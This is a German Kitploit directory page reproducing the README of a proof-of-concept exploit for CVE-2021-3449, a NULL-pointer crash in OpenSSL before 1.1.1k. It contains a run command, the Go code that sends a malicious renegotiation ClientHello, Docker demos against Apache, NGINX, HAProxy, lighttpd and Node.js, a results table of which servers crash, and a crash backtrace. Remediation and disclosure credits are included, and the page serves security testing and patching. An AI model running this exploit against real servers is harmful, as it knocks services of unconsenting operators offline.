Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2021-3449 — CVE-2021-3449 OpenSSL Denial-of-Service-Exploit 👨🏻‍💻 | Kitploit
Tools/GitHubGitHub/riptl/cve-2021-3449
SchwachstellenanalyseExploitationWebsicherheitPenetrationstests
GitHubriptl/cve-2021-3449

cve-2021-3449

CVE-2021-3449 OpenSSL Denial-of-Service-Exploit 👨🏻‍💻

Repository anzeigen
2243730vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-3449 OpenSSL <1.1.1k DoS-Exploit

Verwendung: go run . -host hostname:port

Dieses Programm implementiert einen Proof-of-Concept-Exploit von CVE-2021-3449, der OpenSSL-Server vor Version 1.1.1k betrifft, wenn TLSv1.2 sichere Neuverhandlung akzeptiert wird.

Es verbindet sich mit einem TLSv1.2-Server und initiiert sofort eine RFC 5746 "sichere Neuverhandlung". Der Angriff nutzt ein bösartig gestaltetes ClientHello, das den Server zum Absturz bringt, indem eine NULL-Zeiger-Dereferenzierung (Denial-of-Service) verursacht wird.

Referenzen

  • OpenSSL-Sicherheitshinweis
  • cve.mitre.org
  • Ubuntu-Sicherheitshinweis (USN-4891-1)
  • Debian-Sicherheitsverfolgung
  • Red Hat CVE-Eintrag

Dieses Problem wurde am 17. März 2021 von Nokia an OpenSSL gemeldet. Der Fix wurde von Peter Kästle und Samuel Sapalski von Nokia entwickelt.

Abhilfe

Der einzige bekannte Fix ist die Aktualisierung von libssl1.1.

Obwohl einige Anwendungen standardmäßig gehärtete TLS-Konfigurationen verwenden, die TLS-Neuverhandlung deaktivieren, sind sie dennoch von dem Fehler betroffen, wenn eine alte OpenSSL-Version läuft.

Exploit

main.go ist ein kleines Skript, das eine Verbindung zu einem TLS-Server herstellt, eine Neuverhandlung erzwingt und die Verbindung trennt.

Der Exploit-Code wurde in eine gebündelte Version des Go 1.14.15 encoding/tls-Pakets eingefügt. Sie finden ihn in handshake_client.go:115. Die Logik ist selbsterklärend.

// CVE-2021-3449 Exploit-Code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sende initiales ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL vor 1.1.1k führt zu einer NULL-Pointer-Dereferenzierung,
        // wenn die supported_signature_algorithms-Erweiterung weggelassen wird,
        // aber supported_signature_algorithms_cert vorhanden ist.
        println("sende bösartiges ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

– @terorie

Demo

Das demo/-Verzeichnis enthält Konfigurationen, um verschiedene Anwendungen mit einer anfälligen Version von OpenSSL zu patchen.

Testaufbau:

  • Herunterladen und Kompilieren der anfälligen OpenSSL-Version 1.1.1j lokal
  • Vorbereiten eines Ubuntu 20.04 Zielcontainers und Hochladen der OpenSSL-Bibliotheken
  • Installieren der Anwendung im Zielcontainer
  • Server starten und Angriff ausführen

Voraussetzungen:

  • OpenSSL (auf dem Host)
  • build-essential (Perl, GCC, Make)
  • Docker

Hinweis: Keiner der aufgeführten Webserver ist mit OpenSSL 1.1.1k oder neuer anfällig für CVE-2021-3449.

ServerDistributionVersionDemoErgebnis
OpenSSL s_server-1.1.1jmake demo-opensslAbsturz
Apache2Ubuntu 18.042.4.29make demo-apache2Teilweiser Absturz
HAProxyUbuntu 18.041.8.8make demo-haproxyAbsturz
HAProxyUbuntu 20.042.0.13make demo-haproxyKeine Wirkung
lighttpdUbuntu 18.041.4.55make demo-lighttpdAbsturz
lighttpdUbuntu 20.041.4.55make demo-lighttpdAbsturz
lighttpdUbuntu 21.041.4.59make demo-lighttpdKeine Wirkung mit Konfigurationsoption
NGINXUbuntu 18.041.14.0make demo-nginxTeilweiser Absturz
NGINXUbuntu 20.041.18.0make demo-nginxKeine Wirkung
Node.js <=12Ubuntu 18.04Keine Wirkung
Node.js >12Ubuntu 18.04?make demo-nodejsAbsturz
Node.js >12Ubuntu 18.0415.14.0make demo-nodejsKeine Wirkung

Um alle Demo-Ressourcen zu bereinigen, führen Sie make clean aus.

OpenSSL einfacher Server

Der openssl s_server ist eine minimale TLS-Serverimplementierung.

  • make demo-openssl: Vollständiger Durchlauf (Port 4433)
  • make -C demo build-openssl: Erstellen des Ziel-Docker-Images
  • make -C demo start-openssl: Ziel auf Port 4433 starten
  • make -C demo stop-openssl: Ziel stoppen

Ergebnis: Vollständiger Server-Absturz.

Logs

docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

Der Apache2 httpd-Webserver mit Standardkonfiguration ist anfällig.

  • make demo-apache: Vollständiger Durchlauf (Port 443)
  • make -C demo build-apache: Erstellen des Ziel-Docker-Images
  • make -C demo start-apache: Ziel auf Port 443 starten
  • make -C demo stop-apache: Ziel stoppen

Vielen Dank an @binarytrails für den Beitrag.

Ergebnis: Teilweise Unterbrechung, Hauptprozess noch aktiv, aber Worker-Prozess abgestürzt.

Logs

Tool herunterladen